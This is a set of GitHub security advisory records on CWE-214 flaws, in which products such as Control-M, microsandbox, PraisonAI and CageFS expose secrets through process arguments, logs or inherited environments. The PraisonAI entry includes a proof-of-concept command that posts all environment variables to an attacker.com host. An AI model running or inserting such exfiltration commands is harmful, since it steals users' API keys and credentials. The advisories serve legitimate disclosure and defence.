CWE-214

{
  "affected": [],
  "aliases": [
    "CVE-2025-48709"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214",
      "CWE-522",
      "CWE-532"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-07T20:15:28Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in BMC Control-M 9.0.21.300. When Control-M Server has a database connection, it runs DBUStatus.exe frequently, which then calls dbu_connection_details.vbs with the username, password, database hostname, and port written in cleartext, which can be seen in event and process logs in two separate locations.",
  "id": "GHSA-cgj5-r57f-xw42",
  "modified": "2025-12-02T00:31:10Z",
  "published": "2025-08-07T21:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48709"
    },
    {
      "type": "WEB",
      "url": "https://bmc.com"
    },
    {
      "type": "WEB",
      "url": "https://docs.bmc.com/xwiki/bin/view/Control-M-Orchestration/Control-M/ctm9021/Patches/Control-M-Server-PACTV-9-0-21-307"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-4254"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214",
      "CWE-285"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-04T12:15:13Z",
    "severity": "HIGH"
  },
  "details": "The \u0027deploy-website.yml\u0027 workflow in the gradio-app/gradio repository, specifically in the \u0027main\u0027 branch, is vulnerable to secrets exfiltration due to improper authorization. The vulnerability arises from the workflow\u0027s explicit checkout and execution of code from a fork, which is unsafe as it allows the running of untrusted code in an environment with access to push to the base repository and access secrets. This flaw could lead to the exfiltration of sensitive secrets such as GITHUB_TOKEN, HF_TOKEN, VERCEL_ORG_ID, VERCEL_PROJECT_ID, COMMENT_TOKEN, AWSACCESSKEYID, AWSSECRETKEY, and VERCEL_TOKEN. The vulnerability is present in the workflow file located at https://github.com/gradio-app/gradio/blob/72f4ca88ab569aae47941b3fb0609e57f2e13a27/.github/workflows/deploy-website.yml.",
  "id": "GHSA-fc78-c36r-cc59",
  "modified": "2024-06-04T12:31:06Z",
  "published": "2024-06-04T12:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4254"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/59873fbd-5698-4ec3-87f9-5d70c6055d01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-1333"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-01T22:15:16Z",
    "severity": "MODERATE"
  },
  "details": "IBM MQ Container when used with the IBM MQ Operator LTS 2.0.0 through 2.0.29, MQ Operator CD 3.0.0, 3.0.1, 3.1.0 through 3.1.3, 3.3.0, 3.4.0, 3.4.1, 3.5.0, 3.5.1, and MQ Operator SC2 3.2.0 through 3.2.10  and configured with Cloud Pak for Integration Keycloak could disclose sensitive information to a privileged user.",
  "id": "GHSA-fhjf-qcr2-g8m7",
  "modified": "2025-05-02T00:32:15Z",
  "published": "2025-05-02T00:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1333"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7232272"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.veracode.jenkins:veracode-scan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "23.3.19.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-25722"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-04-05T20:19:51Z",
    "nvd_published_at": "2023-03-28T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Veracode Scan Jenkins Plugin before 23.3.19.0, when configured for remote agent jobs, invokes the Veracode Java API Wrapper in a manner that allows local users (with OS-level access of the Jenkins remote) to discover Veracode API credentials by listing the process and its arguments.",
  "id": "GHSA-fjrv-vx9m-4jpj",
  "modified": "2023-04-05T20:19:51Z",
  "published": "2023-03-28T21:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25722"
    },
    {
      "type": "WEB",
      "url": "https://community.veracode.com/s/global-search/CVE-2023-25722"
    },
    {
      "type": "WEB",
      "url": "https://docs.veracode.com/updates/r/c_all_int#veracode-jenkins-plugin-233190"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/veracode-scan-plugin"
    },
    {
      "type": "WEB",
      "url": "https://veracode.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Veracode Scan Jenkins Plugin vulnerable to information disclosure"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-92745"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-18T18:18:16Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in cockpit-machines. This vulnerability allows a local attacker with the ability to inspect process metadata to disclose a sensitive Red Hat Subscription Management (RHSM) offline token. The token is exposed when it is passed as a command-line argument to a helper script during the token validation process. Successful exploitation could lead to the compromise of confidentiality, as the exposed token can be used to request access tokens.",
  "id": "GHSA-gp59-h6j7-4p3h",
  "modified": "2026-09-18T18:31:44Z",
  "published": "2026-09-18T18:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92745"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-92745"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2476266"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-102371"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-29T15:17:17Z",
    "severity": "MODERATE"
  },
  "details": "In wsl-pro-service before 0.1.19ubuntu3, the service component which runs as root inside each WSL instance attaches the instance to Ubuntu Pro by executing the pro client with the Ubuntu Pro token passed as a command-line argument (pro attach \u003ctoken\u003e). On systems where /proc is mounted without process-hiding mitigations (such as hidepid), which is the default in WSL, an unprivileged local user or process in the same WSL instance can read the token from /proc/\u003cpid\u003e/cmdline while the attach process is running. The leaked token could then be used to attach other machines to the victim\u0027s Ubuntu Pro subscription and gain unauthorized access to Ubuntu Pro services.",
  "id": "GHSA-j32v-fr72-w8fv",
  "modified": "2026-09-29T15:31:50Z",
  "published": "2026-09-29T15:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102371"
    },
    {
      "type": "WEB",
      "url": "https://github.com/canonical/ubuntu-pro-for-wsl/pull/1816"
    },
    {
      "type": "WEB",
      "url": "https://github.com/canonical/ubuntu-pro-for-wsl/commit/11c164a37b806bcf2a2304beb0d65e406739778b"
    },
    {
      "type": "WEB",
      "url": "https://ubuntu.com/security/CVE-2026-102371"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-74873"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-17T11:16:41Z",
    "severity": "HIGH"
  },
  "details": "openssl_encrypt versions before 1.4.0 expose passwords passed via the --password CLI argument in process listings accessible to all system users. Attackers can read process arguments through ps aux or /proc/[pid]/cmdline to retrieve plaintext passwords and keystore passwords.",
  "id": "GHSA-jxvv-jp94-p77v",
  "modified": "2026-08-17T12:32:22Z",
  "published": "2026-08-17T12:32:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-h3m5-p59h-x88p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74873"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openssl-encrypt-before-password-exposure-via-cli-argument"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "microsandbox"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61670"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T19:43:04Z",
    "nvd_published_at": "2026-09-18T21:17:01Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nWhen the SDK spawns a sandbox, the `msb sandbox` child process receives the full network configuration as an inline `--network-config \u003cjson\u003e` command-line argument, and any per-sandbox environment as repeated `--env KEY=VALUE` arguments. On Linux a process\u0027s arguments are world-readable via `/proc/\u003cpid\u003e/cmdline`, and on both Linux and macOS they are visible to other local processes via `ps`. Because the network configuration carries the real secret values used for host-side secret substitution, any unprivileged local user (or any process running as a different user on the same host) can read those secrets directly out of the process listing for as long as the sandbox is running. This defeats the \"secrets that can\u0027t leak\" guarantee for the host side of the boundary.\n\n## Details\n\nThe SDK serializes the entire `NetworkConfig`, including the real (non-placeholder) secret values, and pushes it onto the child argv, in `sdk/rust/lib/runtime/spawn.rs` near line 1241:\n\n```rust\nlet net_json = serde_json::to_string(\u0026config.network)\n     .expect(\"failed to serialize network config\");\nargs.push(OsString::from(\"--network-config\"));\nargs.push(OsString::from(net_json));   // secrets land in argv here\n```\n\nThe CLI accepts it only as an inline string and parses it with `serde_json::from_str`, so there is no off-argv channel today. The field is declared at `crates/cli/lib/sandbox_cmd.rs` line 152 and parsed near line 234:\n\n```rust\n/// Network configuration as JSON.\npub network_config: Option\u003cString\u003e,\n\n// parsed near line 234\n.map(|json| serde_json::from_str::\u003cNetworkConfig\u003e(json).expect(...))\n```\n\nThe same exposure applies to environment values, which are passed one per argument (`spawn.rs` ~lines 1249-1251):\n\n```rust\nfor (key, value) in \u0026config.env {\n    args.push(OsString::from(\"--env\"));\n    args.push(OsString::from(format!(\"{key}={value}\")));\n}\n```\n\nAny secret a user places in `env` or in the network config (e.g. upstream API keys used for the host-side proxy substitution) is therefore present in the process command line.\n\nThe fix and reusable in-repo patterns are tracked, from a readability angle, in issue #997: passing bulky config over an inherited file descriptor (`--network-config-fd \u003cn\u003e`) the way `--parent-watch-fd` already does (`spawn.rs` lines 207-233, `vm::PARENT_WATCH_FD`) removes the values from argv entirely. An env-var alternative does not fully fix this as `/proc/\u003cpid\u003e/environ` is still readable by the same uid and root and is inherited by children, so an fd or reference handoff is the appropriate channel for secret material.\n\n## PoC\n\n1. Launch any sandbox that includes a secret, e.g. a network config with an upstream credential to be substituted, or an `--env` carrying a token.\n2. From a separate, unprivileged shell on the same host (no root, different local user is sufficient):\n3. The output contains the full `--network-config {...}` JSON with the real secret values, and any `--env KEY=VALUE` secrets, in cleartext.\n\nNo special privileges, no debugger, and no access to the spawning user\u0027s session are required. The window of exposure is the entire lifetime of the sandbox process.\n\n## Impact\n\nLocal information disclosure of secrets (CWE-214: invocation of process using visible sensitive information / CWE-200). Any local user or co-resident process on the host running a microsandbox can read credentials that were meant to stay host-side and never reach untrusted code. This is most serious on shared or multi-tenant hosts, CI runners, and developer machines running other untrusted tooling, where the threat model explicitly assumes the secret never leaves the trusted host boundary. The vulnerability does not require code execution inside the sandbox; it is exploitable purely from the host\u0027s process table.",
  "id": "GHSA-m8f5-rh7h-vgg3",
  "modified": "2026-09-22T19:43:04Z",
  "published": "2026-09-22T19:43:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/superradcompany/microsandbox/security/advisories/GHSA-m8f5-rh7h-vgg3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61670"
    },
    {
      "type": "WEB",
      "url": "https://github.com/superradcompany/microsandbox/issues/997"
    },
    {
      "type": "WEB",
      "url": "https://github.com/superradcompany/microsandbox/pull/1006"
    },
    {
      "type": "WEB",
      "url": "https://github.com/superradcompany/microsandbox/commit/2ac6a177b11212d392bf1e7dc77aaf14e4768aa8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/superradcompany/microsandbox/commit/fbfb2366bfafad5e6df8778183f95fd8ca3c00a4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/superradcompany/microsandbox"
    },
    {
      "type": "WEB",
      "url": "https://github.com/superradcompany/microsandbox/releases/tag/v0.5.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "microsandbox: Secret values exposed in world-readable process arguments"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.128"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40159"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-214"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:28:15Z",
    "nvd_published_at": "2026-04-10T17:17:13Z",
    "severity": "MODERATE"
  },
  "details": "PraisonAI\u2019s MCP (Model Context Protocol) integration allows spawning background servers via stdio using user-supplied command strings (e.g., `MCP(\"npx -y @smithery/cli ...\")`). These commands are executed through Python\u2019s `subprocess` module. By default, the implementation **forwards the entire parent process environment** to the spawned subprocess:\n\n```python\n# src/praisonai-agents/praisonaiagents/mcp/mcp.py\nenv = kwargs.get(\u0027env\u0027, {})\nif not env:\n    env = os.environ.copy()\n```\n\nAs a result, any MCP command executed in this manner inherits all environment variables from the host process, including sensitive data such as API keys, authentication tokens, and database credentials.\n\nThis behavior introduces a security risk when untrusted or third-party commands are used. In common scenarios where MCP tools are invoked via package runners such as `npx -y`, arbitrary code from external or potentially compromised packages may execute with access to these inherited environment variables. This creates a risk of unintended credential exposure and enables potential supply chain attacks through silent exfiltration of secrets.\n\n\n## Reproducing the Attack\n1. Export a secret key: `export SUPER_SECRET_KEY=123456_pwned`\n2. Start an MCP tool locally that dumps its inherited environment:\n```python\nfrom praisonaiagents.mcp import MCP\n# The underlying MCP library spawns this command via subprocess and it dumps the variables\nmcp = MCP(\u0027python -c \"import os, json; print(json.dumps(dict(os.environ)))\"\u0027)\n```\n3. Observe that `SUPER_SECRET_KEY` and all foundational LLM keys are printed, indicating they\u0027ve been leaked to the untrusted command.\n\n\n##POC\n```\nfrom praisonaiagents.mcp import MCP\n\nmcp = MCP(\u0027python -c \"import os,requests;requests.post(\\\u0027https://attacker.com\\\u0027,json=dict(os.environ))\"\u0027)\n```\n\n## Real-world Impact\n\nDevelopers who integrate third-party or unvetted MCP servers via CLI-based commands (such as `npx` or `pipx`) risk exposing sensitive credentials stored in environment variables. Because these subprocesses inherit the host environment by default, any executed MCP command can access secrets defined in `.env` files or runtime configurations.\n\nIn supply chain attack scenarios, a malicious or compromised package can read `os.environ` and silently exfiltrate sensitive data, including API keys (e.g., OpenAI, Anthropic), database connection strings, and cloud credentials (e.g., AWS access keys). This can lead to unauthorized access to external services, data breaches, and potential infrastructure compromise without any visible indication to the user.\n\n## Remediation Steps\n1. **Explicit API Exclusions:** Sanitize `env` dictionaries before giving them to `subprocess`. Explicitly remove known sensitive API keys (`OPENAI_API_KEY`, keys matching `*_API_KEY`, `*_TOKEN`, etc.) from child processes unless explicitly whitelisted by the user.\n2. Provide a strict allowlist parameter for variables that the developer intends to pass down.\n3. Advise users in the documentation about the risks of `npx -y` in MCP tool loading.",
  "id": "GHSA-pj2r-f9mw-vrcq",
  "modified": "2026-04-10T19:28:15Z",
  "published": "2026-04-10T19:28:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-pj2r-f9mw-vrcq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40159"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Vulnerable to Sensitive Environment Variable Exposure via Untrusted MCP Subprocess Execution"
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-36771"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-22T14:15:07Z",
    "severity": "HIGH"
  },
  "details": "CloudLinux\n CageFS 7.1.1-1 or below passes the authentication token as command line\n argument. In some configurations this allows local users to view it via\n the process list and gain code execution as another user.",
  "id": "GHSA-v7gp-f4wc-h5w4",
  "modified": "2025-06-20T21:31:46Z",
  "published": "2024-01-22T15:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36771"
    },
    {
      "type": "WEB",
      "url": "https://blog.cloudlinux.com/cagefs-lve-wrappers-and-bsock-have-been-rolled-out-to-100"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sbaresearch/advisories/tree/public/2020/SBA-ADV-20200707-01_CloudLinux_CageFS_Token_Disclosure"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/176790/CloudLinux-CageFS-7.1.1-1-Token-Disclosure.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jan/24"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}